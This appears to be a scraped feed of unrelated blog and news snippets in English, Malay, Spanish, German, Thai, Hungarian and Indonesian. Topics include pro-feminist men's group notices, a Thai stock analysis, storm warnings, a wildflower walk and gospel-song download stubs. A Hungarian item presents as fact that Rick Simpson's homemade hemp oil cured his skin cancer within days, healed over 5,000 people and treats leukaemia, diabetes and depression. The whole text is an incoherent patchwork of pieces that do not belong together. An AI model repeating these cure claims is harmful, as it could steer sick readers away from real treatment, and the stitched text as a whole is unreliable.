The police response to Joanna Yeates' murder, and Reclaim the Night   
So it seems little has changed since the late 1970s. According to this Guardian article, following the murder of Joanna Yeates, Avon and Somerset police are advising women not to walk alone at night. Sound familiar?

This casually sexist response by the police, according to which women are effectively being advised not to have a life (especially given the wintry daylight hours!) reminds us of the importance events like Reclaim the Night and the Million Women Rise March. They are as important as they ever were, since the early Take Back the Night marches in Philadelphia and Brussells in the mid-1970's. (A history of Take Back the Night is here.) What is frustrating is that the same argument needs constantly to be made, 35 years on.

When the first Take Back the Night and Reclaim the Night marches took place, they were a direct response to small-minded sexist police "advice" like that recently meted out by the Avon and Somerset police. That is why they were held outdoors; that is why they were held at night; and that is why they were women-only affairs. But recently the focus of many RTN marches has justifiably shifted to domestic violence and intimate partner violence. (According to Home Office statistics, only 17% of rapes are committed by strangers; 54% are committed by partners (including spouses) or ex-partners. And according to this BCS report, only 13% of rapes are committed in a public place; 55% occur in the victim's own home, and 20% occur in the offender's home.)

I have personally heard the view many times that this change of focus makes RTN marches in some sense passé. But this criticism overlooks the fact that RTN marches make for a strong, clear public message, and provide an opportunity for the feminist community to reassert their continued presence and solidarity. And anyway, thanks to Avon & Somerset police, it turns out that after all we all need reminding of the original motivation for RTN: that violence against women is not the responsibility of the women who suffer it.
          Come to the next LPMG meeting on sunday 19th Sept   

We have been meeting fortnightly for almost 3 years now. The aims of our meetings are:
- to support each other in our personal struggles as men, including our efforts to rid ourselves of sexist behaviour
- to raise consciousness with regards to sexism in our lives and in society
- to discuss issues around gender politics generally
- to plan what actions we can take as pro-feminists

Though we are mainly a consciousness raising group, we also sometimes facilitated workshops and give talks, organized creches at feminist events, and participated in demos. This helped all of us tremendously in acknowledging, realising and working on our sexist behaviours! In practice our group has always been a men-only group, although it has always been open to anyone who felt that sharing their life experience would be beneficial for them and/or other members of the group.


From now on. we have decided to meet every 1st and 3rd Sunday of the month at 3pm at LARC, 62 Fieldgate st E1 1ES (whitechapel, Aldgate) http://www.londonarc.org/.

If you've often thought this is an interesting group but never found energy or time to come round, this is the opportunity!!

The next one will be on Sunday 19th of September, 3pm-7pm.

Our meetings are generally composed of different parts. Usually we start with a round about ourselves, our lives, how we are and past experiences of sexism we were involved in. Then we talk about concrete action plans we have for the future. After a break we try to discuss a theme linked to gender and feminism (such as our fathers/mothers, homophobia, pornography, seduction etc.) always trying to start from our own life experience and then go to the global/more theoretical.

Hope to see you all there!


Don't hesitate to contact us: londonprofeministmensgroup at googlemail.com

or join us on errr Facebook but only after reading this!


          LPMG response to “Wake up to Rape” report   

Responding to media reports about The Havens' report on British public attitudes to rape (see this link for a media article about it), the London Pro-Feminist Men's Group said:

Rape is never acceptable, and it is never the fault of the woman. The idea that a woman 'should know what to expect if she goes back to a man's house' is based on the idea that men cannot control themselves or are naturally driven to have sex at any cost. These lies serve to absolve men of responsibility for their behaviour but they do us no service. We call on all men to clean up our acts: in order to gain women's trust, we need to establish a record of decent behaviour, and to show no tolerance for any form of abuse of women.

For more information, contact londonprofeministmensgroup at googlemail.com, providing a contact phone number.


          Awas, Dadah "Zombie" Flakka Mula Menular Ke Asia..   

Sejenis dadah sintetik baru yang dinamakan FLAKKA kini telah menggemparkan negara Amerika.

Effek individu yang mengambil dadah ini dikatakan akan menjadi "zombie", dan yang menyedihkan mereka TIDAK AKAN KEMBALI NORMAL.

Kesan kerosakan kimia terhadap otak sesiapa yang mengambilnya akan menjadi KEKAL SELAMAnya.

Difahamkan, dadah FLAKKA ini sebenarnya masih lagi dalam fasa eksperimen namun ianya telah dicuba di pasaran untuk melihat reaksi dan effek terhadap penagih agar ianya boleh diperbaiki lagi.

Difahamkan juga, pembuat dadah ini telah mencuba untuk masuk ke pasaran Asia, terutamanya Asia Tenggara kerana ramai pengguna dadah sintetik murah di sini.

Bentuk fisikal kristal FLAKKA, yang lebih mirip seperti BATU @ SYABU @ METAPHAMINE @ KETAMINE, dan juga pil ekstasi, yang banyak digunakan di Malaysia, namun ia dikatakan jauh lebih murah harganya maka dikhuatiri ianya akan dicampur oleh pengedar dadah dengan dadah yang disebut di atas demi untuk keuntungan berlipat ganda.

Kaedah pengambilan dadah FLAKKA juga adalah seperti dadah sintetik yang lain, samada menggunakan suntikan atau dihisap, ianya jua sering dihisap menggunakan rokok elektronik atau VAPE. 

Jadi, berhentilah mengambil dadah.. jangan terjadi mangsa seperti didalam video di bawah ini.-UnReportedNews™®




          Fitnah Setiausaha Politik Menteri Untuk Jejaskan BN Sarawak    

Semalam keluar cerita di dalam sebuah blog di mana kononnya seorang setiausaha politik menteri kanan dari Sarawak yang dikatakan telah mengumpul berjuta-juta ringgit dalam masa yang singkat sedang disiasat oleh Suruhanjaya Pencegahan Rasuah Malaysia (SPRM).

Penulis blog tersebut juga mendakwa pejabat Menteri tersebut di Putrajaya minggu lepas kononnya telah diserbu SPRM.

Biarpun tidak menyebut nama, penulis blog menggunakan gambar yang sudah dikaburkan namun penulisan tersebut jelas menunjukkan ia menjurus kepada Setiausaha Politik Menteri Sumber Asli dan Alam Sekitar iaitu Dato Sri Syed Hamzah Al-Yahya. 

(Kalau tak percaya cuba google image "wan hamzah unreportednews", keluarlah gambar di bawah ni).



Penulis blog itu juga mendakwa setiausaha politik berkenaan kononnya disiasat kerana beliau meminta rasuah dalam tender dan projek di kementerian itu.

Ironinya, setiausaha politik tersebut ketika saya hubungi petang tadi masih bertugas seperti biasa dipejabatnya di Putrajaya dan agak terkejut dengan berita (palsu yang tersebar di media sosial berkatian dengan dirinya) yang saya sampaikan kepada beliau.

Dato Sri Syed Hamzah juga telah menafikan dengan sekeras-kerasnya apa yang telah didakwa oleh blog tersebut dan juga akan mempertimbangkan akan membuat laporan polis mengenai perkara itu serta mengambil tindakan undang-undang ke atas penulis blog tersebut kerana telah mengfitnah beliau.

Dari pemahaman saya, mana-mana kakitangan kerajaan (tolak Guan Eng DAP sebab dia ingat kerajaan Pulau Pinang bapa dia yang punya) yang dikaitkan dengan kes rasuah, lagi-lagi kes yang berprofil tinggi, suspek akan digantung kerja serta-merta kerana khuatir akan menggunakan kuasanya untuk menjejaskan penyiasatan.

Jadi sekarang kita dah tahu berita tersebut adalah palsu dan persoalan yang perlu kita tanya kini adalah, mengapakah berita palsu itu dibuat dan disebar di media sosial?

Baru-baru ini, Barisan Nasional Sarawak menerusi Datuk Amar Hajah Jamilah Anu pada PRK Tanjong Datu telah mengalahkan calon Parti Reformasi Negeri Sarawak (STAR) Johnny Aput dan calon Parti Bansa Dayak Sarawak (PBDS) Baru, Rapelson Richard Hamit dengan majoriti 6,443 undi apabila memperoleh 6,573 undi, manakala Johnny Aput memperoleh 108 undi dan Rapelson 130 undi.

Pada pandangan saya, penyebaran berita palsu ini ada kaitan dengan kemenangan besar ini diterajui oleh Ketua Menteri Datuk Amar Abang Johari Tun Abang Haji Openg bersama-sama pemimpin BN Sarawak dan Pusat yang lain yang turun berkempen.

Namun yang memainkan peranan utama kepada kemenangan tersebut adalah Pengarah Operasi Pilihanraya BN PRK Tanjong Datu Dato Sri Wan Junaidi Tuanku Jaafar iaitu boss Dato Sri Syed Hamzah dimana, kedua-dua mereka telah bertungkus lumus sepanjang tempoh kempen tersebut.

Sememangnya, terdapat pihak yang tidak senang hati dengan kemenangan luar biasa ini dan khuatir ianya menjadi gelombang ikutan pada Pilihan Raya Umum (PRU) Ke-14 yang bakal diadakan bila-bila masa saja lagi dan taktik yang paling berkesan untuk menghalang kemenangan ini adalah dengan mencemarkan mereka-mereka yang telah menjadi tulang belakang kemenangan BN Sarawak...


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          Albert Rivera el sábado 24 en Madrid abordará la custodia compartida   
Martes, 20 de Junio, 2017

A las 11 horas de la mañana, el sábado 24 de Junio, en la calle Augusto Figueroa, 24, junto al Mercado San Antón (Madrid), en el Espacio Trapezio, Albert Rivera y Patricia Reyes, serán los actores de un encuentra organizado por la formación naranja que abordará los nuevos modelos de familia, entre los que sin duda se encuentran las familias monoparentales.

Será inevitable abordar la custodia compartida, pues ellos mismos han presentado hoy en el Congreso de los Diputados una PNL a favor de regular la custodia compartida como norma.

En la imagen tienes la dirección de correo electrónica donde has de confirmar tu presencia en el acto.



Encuentro Cs "Nuevos Modelos de Familia" - con Albert Rivera y Patricia Reyes

Espacio Trapezio. Calle Augusto Figueroa, 24 (Mercado San Antón). Madrid

CIUDADANOS defiende la PNL a favor de la custodia compartida en el Congreso de los Diputados 20-06-2017

Fuente:
https://www.ciudadanos-cs.org/agenda
          Metaverse Meetup: 3D data for real world virtual worlds   

Metaverse Meetup: 3D data for real world virtual worlds
Mike Liebhold speaking at Stanford University on: Abstract 3D data, maps, and software will change the way we compute and interact with ...
65 minutes on YouTube
          Edusim 3D in your class   

Edusim in a 3D virtual environment ... this example is being used by students with an interactive whiteboard.
It free and opensource (built on Croquet) here: http://edusim3d.com

          Sci-Fi Gaming Resources -Updated   

Note: Sadly, the best resource, Solo Nexus, has been removed from solo players.

The Yahoo Groups appear to still be out there somewhere. I'm still getting e-mails from them. However, it looks like Yahoo's changed their links and I haven't gotten them updated, yet. Here's the updated list of links, with several new ones-

Traveller
Traveller at Mongoose Publishing
Mongoose Traveller resources at RPGNow
Spica Publishing Resources for Traveller at RPGNow
All Traveller resources at RPGNow
Mongoose's Signs & Portents Magazine at RPGNow
Freelance Traveller
Into the Deep
The Journal of the Travellers' Aid Society
Far Future Enterprises -has a nice guide to Understanding Traveller
Spica Publishing
SFRPG Message Board
Random Traveller System Generator
Traveller: Heaven & Earth -great world building software
Travelling Alone -nice optional solo Traveller flowchart
How to make a Traveller Sandbox

Other
Shadowrun resources at RPGNow
Elektra for Shadowrun
Sci-Fi resources at RPGNow
Alternity resources
Star Smuggler resources
Star Frontiersman
ClassicMarvelForever.com
Marvel-Phile & Other Marvel Dragon Magazine Articles
Seventh Sanctum -lots of random generators
Paper Friends -printable character standups for every genre

OpenD6
D6 Space
D6 Adventure
D6 Fantasy
Westward
Polgarus Games D6 Resources
Star Wars D6 Holcron
Random Star Wars D6 System Generator
Star Wars D6 Community on G+
Into the Shadows

Mythic/Solo Play
Mythic
Shaun's Solo Traveller

Broken/Abandoned
MGT-Aids · Fan Aids for Mongoose Pub's Traveller
Guide to Traveller UPP (Universal Planetary Profile)
DC Heroes - Blood of Heroes - M.E.G.S. Yahoo group
Doctor Who Solitaire Story Game
Mythic Fan Club/Resources
Solo Nexus

          Post-Brexit Blues? Schwachsinn!   

Also ganz ehrlich, mir geht das ganze Gejeiere rund um den Brexit und was man jetzt tun könnte, um das Vereinigte Königreich für die EU zu retten, ziemlich auf den Geist. Die Berichte über Leute, die angeblich nicht wussten, was sie da ankreuzen. Und dass die Mehrheit der Briten eigentlich eh für die EU wäre, wenn sie sich rechtzeitig informiert hätten.

Oder Robert Misik, der überhaupt meint, die Labour Party sollte das jetzt ausnutzen, um mit dem Slogan, das Referendums-Ergebnis nicht zu befolgen, eine Wahl zu gewinnen.

Gehts noch?

Also.

Erstens: Es war ein Volksentscheid, und ein solcher ist in einer Demokratie nun mal einzuhalten und umzusetzen, auch wenn dabei etwas herausgekommen ist, das ich für einen Fehler halte. Eine Abstimmung so oft zu wiederholen, bis herauskommt, was eine bestimmte gesellschaftliche Schicht will, halte ich für gefährlich und undemokratisch. In einer Demokratie hat nun mal das Volk das Recht und die Macht, Dinge zu beschließen, die schlecht für das Land sind (übrigens auch inklusive der Auflassung der Demokratie). Im Nachhinein zu behaupten, die hätten sich nicht ausgekannt oder wären sogar zu blöd zum Wählen, zählt nicht, denn erstens ist das eine unzulässige Pauschaldiskreditierung, zweitens hatten sie Monate Zeit, um sich zu informieren (und ich nehme an, dass sie das in dem Ausmaß getan haben, das sie für nötig befunden haben), und drittens sind die Leute nur so blöd, wie es das Bildungssystem eines Landes zulässt.

Wenn jetzt manche Politiker dumm dreinschauen, weil sie mit der Entscheidung der Bürger, die sie sich mit jahrzehntelangen Einsparungen im Bildungs- und Sozialsektor herangezogen haben, nicht zufrieden sind, dann habe ich mit diesen Politikern wenig Mitleid. Schon gar nicht, wenn es sich dabei um Politiker handelt, die mit Lügengebäuden mit dem Schicksal von Millionen spielten, um ihre eigenen Eitelkeiten zu pflegen.

Ebensowenig Mitleid habe ich übrigens mit den Journalisten, die jetzt Entsetzen heucheln, nachdem sie ebendiese Leute ebenso jahrzehntelang gegen die EU, gegen die Zuwanderer und gegen die Politik insgesamt aufgehetzt haben. Darüber, dass die Gier nach hohen Verkaufszahlen nun mal gesellschaftspolitische Auswirkungen hat, hätten sie vielleicht nachdenken sollen, bevor sie ihre Blödmaschinen angeworfen haben.

Zweitens: Seit der Grexit-Drohung interessiert mich, was wirklich passiert, wenn ein Land die EU verlässt. Das war nämlich bisher immer graue Theorie, eingehüllt in den Nimbus des Grenzkatastrophalen. Zusammenbruch der Wirtschaft, Weltuntergang, irgend so etwas wurde da immer ausgemalt, ohne dass klar war, was nun wirklich passiert. Jetzt bietet sich die Chance, das herauszufinden.

Beim Grexit waren wir ja kurz davor, dass ein Land in diese Situation gezwungen wird. Nun hingegen hat sich die Mehrheit der Bevölkerung des Vereinigten Königreichs in einer Abstimmung freiwillig und mit zum Teil ziemlichem Enthusiasmus dafür entschieden, sich selbst gewissermaßen als Versuchskaninchen für dieses Langzeitexperiment mit unsicherem Ausgang zu Verfügung zu stellen. Das kann zwar schlecht ausgehen, sollte aber auch als Chance gesehen werden.

Denn: geht das Experiment schief, dann wird den diversen Exit-Strategien der europäischen Rechtspopulisten und -extremen der Wind aus den Segeln genommen. Für die Zukunft der EU kann, so hart das klingt, ein Scheitern Großbritanniens außerhalb der EU durchaus von Vorteil sein. Zugegeben, das kann (zumindest vorübergehend) für die Briten bitter werden, aber die rechtliche Möglichkeit eines Wiederbeitritts oder einer EWR-Mitgliedschaft ist ja gegeben.

Geht das Experiment nicht schief, dann hat Großbritannien ja auch keinen Nachteil. Blöd wäre das aber insofern, als dann nicht nur die ganzen rechten Parteien Europas auch diverse Austrittsreferenden abhalten und möglicherweise gewinnen würden, sondern auch, weil das ja auch hieße, dass die EU einen wesentlichen Teil ihrer Daseinsberechtigung ganz einfach nicht hat. Die Frage, wozu man eine EU in der derzeitigen Form braucht, wenn es anders auch problemlos geht, ist ja nicht unwesentlich.

In diesem Fall könnte der Brexit dazu dienen, einen Denkanstoß zu geben, um herauszufinden, wofür wir die EU brauchen. Das Vereinigte Königreich hat die EU immer nur als Freihandelszone verstanden. Wenn es ohne eine solche auch geht oder wenn der EWR alleine ausreichend ist, wie kann die EU dann zum Nutzen Europas beitragen? Vielleicht mit etwas weniger Bürokratie und Regelungswut? Etwas weniger Neoliberalismus? Dafür mehr gemeinsame Sozialpolitik, Bildungspolitik, Umweltpolitik und Friedensinitiativen?

Das ist eigentlich das, worin der eigentliche Mehrwert des Brexit besteht - dass wir eine Antwort auf die Frage bekommen, ob es die EU in der derzeitigen Form braucht, und wenn nein, dann wie wir sie umgestalten müssten, damit wir mehr Nutzen von ihr haben. Zugegeben, dass das au Kosten von 64 Millionen britischer Staatsbürger herausgefunden wird, ist mehr als nur hart, aber deren demokratische Mehrheit wollte eben genau das herausfinden, und die Antwort ist ganz wesentlich für den Fortbestand und die anzustrebende künftige Entwicklung der EU.


          ส่องงบหุ้น wiik   

เห็นหุ้น WIIK กำลังวิ่งๆ มีมิตรสหายถามไก่กันมาพอสมควร เขาว่าจะ Turnaround มาดูกันครับว่าจะไปได้จริงหรือเปล่า เดี๋ยวนี้หุ้น Turnaround ถ้าไม่มามีกำไรจริงตลาดไม่เชื่อครับ

ในแง่การทำมาหากิน จาก factsheet เขาว่า wiik เป็นผู้ผลิต และจำหน่ายท่อและข้อต่อท่อพลาสติกชนิดHDPE (High Density Polyethylene) ชนิดLDPE (Low Density Polyethylene) ชนิดโพลีโพรไพลีน (Polypropylene) ท่อ Weholite Spiroและ WehoTank, Weholite โดยเป็นผู้ผลิตที่มีกำลังและศักยภาพในการผลิตสูงและมีคุณภาพเป็นที่ยอมรับในระดับสากล

การเปลี่ยนแปลงในงบการเงิน


การเปลี่ยนแปลงของหุ้นตัวนี้เริ่มต้นจากการเปลี่ยนกลุ่มผู้ถือหุ้น จากเจ้าของเป็นยุโรป มาเป็นเจ้าของคนไทย นำโดยเบอร์ 1 นางสุมาลี อ่องจริต มีมือเด็ดๆหลายคน ลองเอาชื่อไปค้น google จะเจอประวัติครับ
รายชื่อผู้ถือหุ้น wiik 10 อันดับแรก

เมื่อมีการเปลี่ยนเจ้าของนโยบายการบริหารจัดการก็เปลี่ยน มาดูผลการเปลี่ยนแปลงในงบการเงินกัน


งบแสดงฐานะการเงินและงบกำไรขาดทุน wiik


งบแสดงฐานะการเงิน wiik


หลังจากเจ้าของใหม่เข้ามาแล้ว งบการเงินเริ่มมีการเปลี่ยนแปลงที่น่าสนใจในปี 2558 โดยที่มีการเพิ่มทุนเข้ามา จะเห็น ส่วนของผู้ถือหุ้นในไตรมาศ 1 เพิ่มขึ้นมากกว่าปี 2557 เกือบเท่าตัว

ตารางนี้เป็นรายงานการใช้เงินจากการเพิ่มทุนแบบเฉพาะเจาะจงในปี 2558  และใส่เงินเข้ามาตอนไตรมาศ 1 2559 ได้เงินมา 225 ล้าน ใช้ไปหมดเกลี้ยงตามนี้

สินทรัพย์ไม่เปลี่ยนแปลงจากปี 2558 แต่ หนี้สินลดลง แสดงว่าเอาเงินกู้ไปลงทุนก่อน พอใกล้ๆเสร็จก็เอาเงินจากการเพิ่มทุนไปลดหนี้ ทำให้ดูเป็นบริษัทที่หนี้น้อยไปในทันที

ธุรกิจจัดการน้ำเพิ่งลงข่าวในตลาดเดือน พค ว่า "การได้รับสัญญาบริหารจัดการระบบผลิตน้ำประปาระยะเวลา 20 ปี"
http://www.set.or.th/set/pdfnews.do?newsId=14635285857161&sequence=2016042296

อยู่ไตรมาศ 2 งบที่ออกน่าจะเห็น ตามข่าวมูลค่าเงินลงทุน 140 ล้าน เป็นงานบริหารจัดการระบบผลิตนํ้าประปาให้แก่สยามอีสเทิร์นอินดัสเตรียลพาร์ค

ระยะเวลาสัญญา : 20 ปีโดยคาดว่าจะเริ่มรับรู้รายได้เดือนมิถุนายน 2559 เป็นต้นไป
มูลค่ารายได้ขั้นตํ่า:1,365.07ล้านบาท (รับประกันรายได้ขั้นตํ่า12,000ลูกบาศก์เมตรต่อวัน)

แสดงว่า จะมีรายได้ปีละ 1365/20 = 68.25 ล้าน 
ถ้าทำอัตรากำไรได้ซักครึ่งหนึ่งของ EASTW ที่ 34% เป็น 17% ก็ได้กำไรปีละ 68.25*0.17 = 11.6 ล้านบาทต่อปี ROI = 11.6/140 = 8.28% 
ถ้าทำอัตรากำไรได้เท่า EASTW ก็ 23.2 ล้านบาทต่อปี ROI 16.57%

ตอนนี้ ROA ของ WIIK อยู่ที่ 10% ก็ถือว่า ผลตอบแทนพอใช้ได้

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A kanadai Rick Simpson egy mosolygós és energikus 64 éves férfi, aki nagyon sok mindenen ment keresztül életében. Néhány évvel ezelőtt, amikor az orvosok elmondták neki, hogy nincs gyógymód a rákos megbetegedésére, Rick késztetést érzett, hogy öngyilkosságot kövessen el, de komoly gondolkodás után úgy döntött, hogy terápiába kezd kenderolaj segítségével.

Rick meggyógyította magát, és az összes állami intézmény ellenkezésének dacára mégis úgy döntött, hogy tapasztalatait megosztja más emberekkel, akiknél szintén daganatot diagnosztizáltak.

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1997-ben egy kazán javítása közben lezuhant, és súlyos fejsérülést szenvedett. Az orvosok felírtak neki néhány gyógyszert, de fájdalmai folyamatosan növekedtek. Amikor Rick már nem bírta a fájdalmat, szembe kellett szállnia öngyilkos késztetésével. Az orvosok feladták a gondolkodást, nem volt gyógymód az állapotára.

Aztán Ricknek eszébe jutott, hogy egy rádióműsorban hallotta, ahogy elmagyarázták, hogy a kenderolaj képes gyógyítani a különböző betegségeket. Elhatározta, hogy szerencsét próbál, és minden este fogyasztani kezdte a kenderolajat. Az eredménye hamarosan láthatóvá vált, és egészen meglepő volt. A fájdalom elmúlt, képes volt újra normálisan aludni, és minden egészségügyi problémája eltűnt.

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Egy idő után Ricknek egy másik problémával kellett szembenéznie. Észrevette, hogy egy anyajegy kezd nőni a jobb szeme sarkában, és az orvosok ezt bőrráknak diagnosztizálták. Amikor megint nem volt más gyógymód, Rick úgy döntött, hogy ismét megbízik a kenderolajban. Egy darab gézt áztatott be kenderolajba, és azt tette közvetlenül az anyajegyre. Alig négy nap alatt az anyajegy és a daganat is eltűnt.

Miután az orvosok nem engedték neki, hogy kendert használjon, mivel úgy gondolták, hogy az nem segít neki, Rick elhatározta, hogy saját maga fogja termeszteni, és elkezdett kenderolajat készíteni. Maga volt az első páciens, akin kipróbálta az orvosságot, és bemutatva előnyeit eddig több mint 5000 embert gyógyított meg világszerte.

Rick az olajat ingyen adja, mert tényleg segíteni akar az embereknek, akik rákkal küzdenek. A mai napig több gyógysszergyártó cég milliókat ajánlott neki az együttműködéséért, de Rick csalódást okozott mindegyiküknek.

"Miért kellene az embereknek fizetni a drága gyógyszerekért, ha ingyen tudok adni nekik," mondta Rick.

Orvossága hatékonynak bizonyult nem csak rák esetében, hanem súlyos fájdalmak, leukémia, ízületi gyulladás, cukorbetegség, asztma, fertőzések, gyulladások, égési sérülések, krónikus fájdalom, pikkelysömör, fekélyek, anyajegyek, szemölcsök és hasonló problémák kezelésében.

Rick szakértői tanácsokat kapott neves orvosoktól, akik elmondták neki, hogy az általa készített kenderolaj valójában gyógyítja a szorongást, a depressziót, a szklerózist, és szabályozza a vérnyomást.

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          Ürüléket találtak a világ legnagyobb kávé márkájában ! Sok ember fogyasztja    

Az Egyesült Királyságban egy vizsgálat után kiderült, hogy a britek legnagyobb és legnépszerűbb kávézói szinte kivétel nélkül érintettek az egyre csak gyűrűző szaros botrányban. A tesztek szerint a Caffe Nero, a Costa és a Starbucks egységei érintettek. Kiderült, hogy a fent említett nagy láncok azon termékei voltak fekáliával mérgezve, amelyek jéggel készültek.

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A hatóságok igyekeznek lecsillapítani a kedélyeket: elmondásuk szerint a vizsgált minták nem azt jelentik, hogy a Caffe Nero, a Starbucks, valamint a Costa jeges termékei mind tartalmaznak ürüléket, csupán arról van szó, hogy előfordulhatott, hogy szennyezett kávét fogyasztottak a fenti brandek látogatói az elmúlt hónapokban.

A vizsgálatból kiderült, hogy a Costa kávéi voltak a legszarosabbak, az innen vett 10 mintából 7 alkalommal találtak fekáliából származó baktériumokat a jégben. A Caffe Neronál és a Starbucksnál ugyanez az arány csak 10/3 volt.

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A Costa válaszlépésként rögtön megváltoztatta jégbeszállítóját, a Starbucks szóvivője, azt mondta, hogy saját vizsgálatot rendeltek el az üggyel kapcsolatban, amelyet nagyon komolyan fognak venni. Hasonlóképpen cselekedett a Caffe Nero is, akik szintén belső vizsgálatot indítottak. via www.24.hu

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          Már tombol az ítéletidő Magyarországon, óriási a pusztítás   

Kidőlt fák és megbontott háztetők miatt ötvenszer riasztották a tűzoltókat szerda délután Zala megyében – tájékoztatta a megyei katasztrófavédelmi igazgatóság szóvivője az MTI-t.

Cseresznyés Dániel elmondta: a megyében mindenhol a viharos erejű szél okozott problémát, fákat döntött ki, egy-két helyen a házak tetőszerkezetét is megbontotta.

 Egy kerékpáros versenyt is ketté szakított a vihar . Közben Zalaegerszegen óriási vihar tört ki.

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A szél fákat csavart ki, háztetőket bontott meg, szakadt az eső, mint ha dézsából öntötték volna, és a víz között jég is érkezett bőven. A Kazinczy téren kiépített célterületet szinte darabokra szedte az orkán, a rendezők több helyen kapaszkodtak a kordonokba, hogy valamit megmentsenek a pályából, de egyenlőtlen küzdelmet vívtak az elemekkel. Amikor alább hagyott a vihar, számba vették a károkat: a kijelölt körpálya belső elkerülő úton haladó szakaszán volt a legrosszabb a helyzet, de a szervezők rögtön kezdték volna a helyreállítást, hiszen a mezőny közben féltávon is túl járt már,   65 kilométerre volt Zalaegerszegtől.



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          Kemény vihar érkezik: másodfokú riasztást adtak ki, jégeső várható ezekben a megyékben    


A heves zivatar veszélye miatt több nyugat-dunántúli megye járásaira másodfokú riasztásokat adott ki szerda délután a meteorológiai szolgálat. Az érintett területeken már a következő órákban lehetnek olyan heves zivatarok, amelyeket károkozó szél, nagyméretű jég kísérhet.


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Az MTI-hez eljuttatott veszélyjelzésük szerint a hőség és a heves zivatarok veszélye miatt is az egész országban első és másodfokú figyelmeztetések vannak érvényben. A heves zivatarok veszélye miatt Somogy, Vas, Veszprém és Zala megyét érinti a másodfokú veszélyjelzés. A meteorológiai szolgálat azt írta: a heves zivatarokhoz viharos szélrohamok, rövid ideig tartó intenzív csapadék és jégeső társulhat.


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Az éjszakai órákban egy hidegfronthoz kapcsolódóan több helyen lehet zivatarokra számítani, melyek között szintén lehet heves zivatar is. Csütörtökön napközben elszórtan lehetnek zivatarok, de károkozó szélrohamokkal kísért heves zivatarok főként a keleti, északkeleti országrészben fordulhatnak elő. Egyes zivatarokban akár (90-115 kilométer/órás) széllökések sem kizártak, de kis valószínűséggel akár az orkán erejű (akár 120 kilométer/óránál is erősebb) széllökés is lehet.

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          Woodland Gems from the Forest Floor   

Dog Violets, despite being their somewhat sparse growth compared to other members of the Violet family, they still lend a bit of color to the forest floor.         
Once upon a time, while strolling through the woods (wait a sec, this isn't a Fairy Tale, it's a true story).  There was a time – albeit long ago - when I seldom, if ever, gave a second thought to the plant growth springing forth from the forest floor as March turned to April. In my haste to get from point A to point B in search of who knows what, I no doubt must have tromped on a good many vibrantly colored woodland gems.

Those days of haste are behind me now, replaced by leisurely and far more attentive strolls wherever I meander each week.  Being the curious sort, somewhere along the way, long before "Google" became an adjective, I accumulated a mini library of reference books, books that divulged information on all that I encountered.  My bookcase became home to a vast array of outdoor topics ranging from the night sky to butterflies, to mammals, and fish, and birds and, much, much more. One of the more worn books in my collection is about wildflowers. Here are some pics of a few that I happened across while outside near my house recently.  I give you this year's "edition" of early woodland blooms.    
The flower of the Trout Lily consists of just a solitary, nodding bloom.
Although their mottled leaves first emerged a couple weeks ago, it's only in recent days that the Trout Lilies finally have sprouted in the small woods adjacent our property. They stand a mere four to ten inches tall but, left undisturbed over time they can develop into large colonies that will blanket the forest floor.

The Trout Lily apparently got its name because someone back in the day thought the mottled blotching on the leaves resembled the markings found along the backs of wild brook trout.
Lesser Clenandine has heart-shaped leaves and shiny yellow flowers.
Lesser Celandine is normally found growing in large to massive clusters in damp woodlots and along sluggish streams and will brighten the forest floor considerably. Late in the day, as the sun nears the western horizon, the blossoms will close tightly and remain so until the next morning after the sun has ascended well overhead.  (A word of caution, this is an invasive species and should not be transplanted.)

No, this is not a dandelion. 
Another early spring wild flower, Colts Foot first emerged in early March this year.  Sometimes mistaken for dandelion, Colts Foot is found along streams as well as roadsides. Thanks to their distinct leaves (hence the name), the plant is one of the more readily identifiable wildflowers. Both the flowers and the leaves are edible and also are used in some natural homeopathic remedies.   
      
Suffice to say at this stage of my life I am no longer in such a hurry when outdoors and more importantly, I no longer knowingly step on delicate wild plants, but rather stop quite often to admire some of the God’s finest handiwork in the spring woodlands.  "Consider how the wild flowers grow. They do not labor or spin. Yet I tell you, not even Solomon in all his splendor was dressed like one of these."

Until Next Time,
Jim & Claudia




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Yesus padaMu Ku berseru - Fandy Santoso

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          Download Lagu Citra Scholastika - S'bab Kau Besar Mp3   
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Citra Scholastika - S'bab Kau Besar

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          Download Lagu JPCC Worship - More Than Enough Mp3   
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JPCC Worship - More Than Enough

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          Download Lagu JPCC Worship - RohMu Yang Hidup Mp3   
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JPCC Worship - RohMu Yang Hidup

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          Download Lagu Edward Chen - Yang Selalu Ku Andalkan   
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Edward Chen - Yang Selalu Ku Andalkan

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          Download Lagu Maria Shandi - Ada Harapan Mp3   
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 Maria Shandi - Ada Harapan

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Download Lagu Rohani Ada Harapan - Maria Shandi
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          Download Lagu Maria Shandi - Detak Di Hidupku Mp3   
Lagurohanikristen.net - Kembali kami bagikan lagu rohani terbaru versi blog kami yang kali ini hadir dari penyanyi cantik dan jgua bersuara emas yakni Maria Shandi yang merupakan salah satu penyanyi rohani kristen paling legend banget menurut admin, saya yakin tidak ada penikmat lagu rohani yang tidak kenal dengan penyanyi yang satu ini. Untuk kalian yang merupakan pengagum setia penyanyi ini silahkan didownload nih koleksi terbaru kami bagi yang belum punya lagunya karena kami memang membagikan lagu diblog ini secara random dan kalau kalian butuh lagu-lagu kristiani kunjungi aja blog kami tiap hari karena kami akan berusaha untuk update daftar koleksi Pujia Lagu Nasrani untuk  lagu gereja dan lain-lain untuk acara ibadah keperluan lainnya semua ada disini guys kalian tinggal download dan dengarkan saja, jika gak ada koleksi yang kalian cari bisa request dimenu diatas atau juga bergabung berama kami digrup facebook untuk fast respon nah tunggu apa lagi buat yang ingin download langsung aja cekidot..
Maria Shandi - Detak Di Hidupku

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Download Lagu Detak di Hidupku - Maria Shandi
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          Download Instrument Piano Rohani Saat Teduh 1 Jam (KemurahanMU)   
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Instrument Piano Rohani Saat Teduh 1 Jam (KemurahanMU)

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          Download Lagu Jalan Kebenaran dan Hidup - Grezia Epiphania   
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Jalan Kebenaran dan Hidup - Grezia Epiphania

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Download Lagu Jalan Kebenaran dan Hidup - Grezia Epiphania
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          Download Lagu Terang KasihMU - Trias   
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Trias - Terang KasihMU

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          Download Lagu Bapa Kau Cukup Bagiku - Cornelia   
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Bapa Kau Cukup Bagiku - Cornelia

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Download Lagu Cornelia - Bapa Kau Cukup Bagiku
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          Download Lagu UX Singer - Kasih Tuhan Mp3   
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UX Singer - Kasih Tuhan

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          Download Lagu Biarkan Ku Menyembah - Citra Scolastika   
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Biarkan Ku Menyembah - Citra Scolastika

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          Download Lagu Tuhan Gembala Keluargaku - Pdt Victor Abraham   
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Tuhan Gembala Keluargaku - Pdt Victor Abraham

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Download Lagu Victor Abraham - Tuhan Gembala Keluargaku
